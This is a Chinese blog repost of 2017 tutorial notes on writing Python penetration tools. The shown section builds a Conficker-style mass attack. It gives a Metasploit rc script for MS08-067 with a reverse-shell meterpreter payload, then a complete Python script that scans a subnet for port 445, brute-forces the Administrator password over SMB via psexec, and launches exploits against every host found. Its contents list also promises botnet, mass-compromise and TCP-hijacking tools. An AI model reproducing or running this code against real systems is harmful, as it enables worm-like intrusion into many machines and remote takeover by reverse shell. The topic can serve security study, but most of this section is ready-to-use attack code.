专题 | Python编写渗透工具学习笔记二

目录

0x01编写一个conficker蠕虫

--使用Metasploit攻击Windows SMB服务

--编写Python脚本与Metasploit交互

--爆破SMB口令,远程执行进程

--整合代码

0x02利用FTP与web批量抓肉鸡

--构建匿名ftp扫描器

--爆破ftp用户口令

--在ftp服务器中搜索页面

--在网页中加入恶意代码

--一整份完整的攻击代码

0x03用python构建ssh僵尸网络

--用pxssh暴力破解ssh密码

--构建ssh僵尸网络

--进一步修改完善代码

0x04编写程序分析流量检测ddos攻击

--使用dpkt发现下载loic的行为

--基础知识补充

--解析Hive服务器上的IRC命令

--检测DDoS攻击

--整合脚本

0x05编写脚本劫持tcp会话

--使用scapy制造syn泛洪攻击

--计算tcp序列号

--伪造tcp连接

0x01编写一个conficker蠕虫

整体思路:写好rc脚本-->运行msf执行攻击

Conficker 蠕虫使用了两种不同的攻击方法。首先,它利用了Windows 服务器中一个服务的0day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行shellcode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(ADMIN$)的口令以获取肉机访问权。

这里主要利用了MS08-067的这个漏洞来进行演示

01

使用Metasploit攻击Windows SMB服务

我下面先演示一下利用msf去攻击一台存在该漏洞的电脑

环境说明

  • 被攻击机 winxp 10.10.10.129
  • 攻击机 kali 10.10.10.128

先把把一下内容写进conficker.rc文件

(可以先把利用代码写进一个rc脚本,然后使用命令 msfconsole -r rc脚本文件名 调用msf来执行rc脚本中的利用代码。)

use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.129
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 7777
exploit -j -z

这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。

然后利用msf对靶机进行攻击msfconsole -r /conficker.rc

可以看到我们这里成功的得到了一个反弹shell并获得了一个session,我们打开它

02

编写Python脚本与Metasploit交互

实现思路:

因为smb服务默认端口是445端口,所以我们先要扫描出开放了445端口的主机

然后我们都知道msf可以直接先把利用代码写进一个rc脚本。

然后使用msfconsole -r rc脚本文件名 这样的方式来执行rc脚本中的利用代码。

所以下面我们要编写一个confickerExploit()函数,就是用来实现写入生成漏洞利用代码的一些信息到rc脚本的功能的,例如目标主机、本地地址和端口等,该函数还把指定使用哪个漏洞利用代码的指令也写进rc脚本中。

值得注意的是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。

因为我们到时候是要同时对多台电脑发动攻击,所以我们要为每一个目标都要在本地设置一个不同的lport(本地端口,用来接收会话的)

具体实现思路是用num_host储存扫描出来的开放了445端口的靶机的数量,用num_host来控制总共要设置的端口的数量,并用一个for循环每循环一次让端口的值增加1

(下面的local_port是我们执行脚本的时候自己输入的参数,待会会说)

03

爆破SMB口令,远程执行进程

尽管攻击者已经能成功地在被黑的主机上运行ms08_067_netapi 漏洞利用代码,但防卫者也能很方便地通过安装最新的安全补丁来阻止漏洞利用代码被执行。因此,我们的脚本还需要另一种也在Conficker 蠕虫中使用过的攻击方法。它需要用暴力攻击的方式破解SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec)。输入smbBrute 函数的参数有:Metasploit 脚本文件、目标主机、包含密码列表的另一个文件,以及本机地址和端口。它将用户名设为Windows 的默认管理员administrator,然后打开密码列表文件。对文件中的每个密码,函数都会生成一个用来远程执行(psexec)进程的Metasploit 脚本。如果某个用户名/密码对是正确的,远程执行进程的代码就会运行回连一个命令行shell 到攻击者本机地址及对应的端口。

04

整合代码

05

实例演示

可以看到,我们扫描除了两台开放了445端口的主机,并对它们发动了攻击,最后也成功获得了两台目标机的会话,并使用了 sessions -i 2 命令打开了会话,然后利用meterpreter执行shell 命令得到了一个反弹shell

06

工具完整代码

#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import optparse
import sys
import nmap
#获得目标主机数组(开放了445的主机)
def findTgts(host):
    tgtHosts = []
    tgthost=host.split('.')
    subnet=tgthost[0]+'.'+tgthost[1]+'.'+tgthost[2]+'.'
    for num in range(0,256):
        try:
            host=subnet+str(num)
            nmScan = nmap.PortScanner()
            nmScan.scan(host, '445')
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
        except Exception,e:
            print '[!]'+host+' ERROR: '+str(e)
    # print len(tgtHosts)
    return tgtHosts
#写入用户生成漏洞利用代码的信息
def confickerExploit(configFile,tgtHost,lhost,lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configFile.write('set RHOST ' + str(tgtHost) + '\n')
    configFile.write('set payload '+\
      'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
#爆破SMB口令,远程执行进程
def smbBrute(configFile,tgtHost,passwdFile,lhost,lport='7777'):
    username = 'Administrator'
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password.strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser ' + str(username) + '\n')
        configFile.write('set SMBPass ' + str(password) + '\n')
        configFile.write('set RHOST ' + str(tgtHost) + '\n')
        configFile.write('set payload '+\
          'windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT ' + str(lport) + '\n')
        configFile.write('set LHOST ' + lhost + '\n')
        configFile.write('exploit -j -z\n')
#写好rc脚本-->运行msf执行攻击
def main():
    #打开一个rc文件
    configFile = open('meta.rc', 'w')
    #接收和解析命令行参数,以及定义脚本使用说明
    parser = optparse.OptionParser('[-] Usage %prog '+\
      '-H <RHOST[s]> -l <LHOST> -p <LPORT> [-F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type='string',\
      help='specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string',\
      help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string',\
      help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string',\
      help='password file for SMB brute force attempt')
    (options, args) = parser.parse_args()
    if (options.tgtHost == None) | (options.lhost == None) | (options.lport == None):
        print parser.usage
        exit(0)
    lhost = options.lhost
    lport = options.lport
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
    num_host=len(tgtHosts)
    lports=[]
    for i in range(0,num_host):
        local_port=int(lport)+i
        lports.append(str(local_port))
    for i in range(0,num_host):
        tgtHost=tgtHosts[i]
        lport=lports[i]
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile,tgtHost,passwdFile,lhost)
    configFile.close()
    #运行msf
    os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
    main()

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2017-12-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

利用PowerShell Empire实现Word文档DDE攻击控制

? 近期,有安全人员发现了一种DynamicData Exchange (DDE)协议绕过MSWord和MSExcel宏限制,不需使用MSWord和MSExc...

2678
来自专栏码字搬砖

Hbase原理详解

首先指出图片的一个错误,Hlog应该属于HRegionserver的,不应该在HRegion中。

3583
来自专栏Python、Flask、Django

Mac自带磁盘跑分情况(买的移动固态到了)

1102
来自专栏知识分享

轻松使用8266

今天算是做好了板子啦!做了一块直接用串口配置8266的板子,,也可以无线配置,配置完一次,上电自动运行...这篇文章也是写给一个朋友看的,朋友的项目做了很长时间...

3619
来自专栏源码之家

一键安装桌面及VNC

5696
来自专栏向治洪

spring事务配置

1、声明式事务配置 * 配置SessionFactory * 配置事务管理器 * 事务的传播特性 * 那些类那些方法使用事务 具体配置如下: <!-- 配置Se...

1969
来自专栏互扯程序

Linux常用Shell脚本,值得学习及收藏

在运维中,尤其是linux运维,都知道脚本的重要性,脚本会让我们的 运维事半功倍,所以学会写脚本是我们每个linux运维必须学会的一门功课,这里收藏linux运...

2341
来自专栏北京马哥教育

解决Redis 延迟故障

症状 前一段时间redis客户端在使用php connect 连接redis 的经常报一个redis server went away 等信息。 排查 首先想到...

3468
来自专栏运维技术迷

windows添加静态路由

最近在排除一个联通应用程序不稳定的问题,查看日志初步分析是网络互联导致,所以要求联通提供了无线网卡来进行初步测试。但是我仅仅想让那一个联通的应用程序走无线网络出...

4117
来自专栏JAVA高级架构

详解 Tomcat 的连接数与线程池

前言 在使用tomcat时,经常会遇到连接数、线程数之类的配置问题,要真正理解这些概念,必须先了解Tomcat的连接器(Connector)。 在前面的文章 详...

1.1K9

扫码关注云+社区

领取腾讯云代金券